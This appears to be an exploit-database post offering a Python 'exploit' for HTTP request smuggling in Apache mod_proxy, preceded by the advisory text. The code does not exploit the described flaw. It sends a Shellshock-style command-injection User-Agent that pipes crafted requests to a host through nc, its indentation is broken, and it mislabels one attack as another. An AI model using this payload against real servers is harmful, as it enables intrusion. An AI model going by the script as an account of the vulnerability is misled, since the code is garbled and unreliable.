Apache 2.4.55 mod_proxy HTTP Request Smuggling

`# Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through  
# 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected  
# when mod_proxy is enabled along with some form of RewriteRule or  
# ProxyPassMatch in which a non-specific pattern matches some portion of the  
# user-supplied request-target (URL) data and is then re-inserted into the  
# proxied request-target using variable substitution. For example, something  
# like: RewriteEngine on RewriteRule "^/here/(.*)" "  
# http://example.com:8080/elsewhere?$1"; [P] ProxyPassReverse /here/  
# http://example.com:8080/ Request splitting/smuggling could result in bypass  
# of access controls in the proxy server, proxying unintended URLs to  
# existing origin servers, and cache poisoning. Users are recommended to  
# update to at least version 2.4.56 of Apache HTTP Server.  
  
import requests  
  
def send_exploit(proxy_url):  
exploit_headers = {  
'User-Agent': '() { :; }; /bin/echo -e "GET /here/../here HTTP/1.1\r\nHost: www.example.com\r\n\r\nGET /nonexistent HTTP/1.1\r\nHost: www.example.com\r\n\r\n" | nc example.com 80',  
'Connection': 'close'  
}  
  
exploit_url = 'http://example.com/here/../here'  
response = requests.get(exploit_url, headers=exploit_headers, proxies={'http': proxy_url, 'https': proxy_url})  
  
print(response.text)  
  
# Usage  
send_exploit('http://localhost:8080')  
`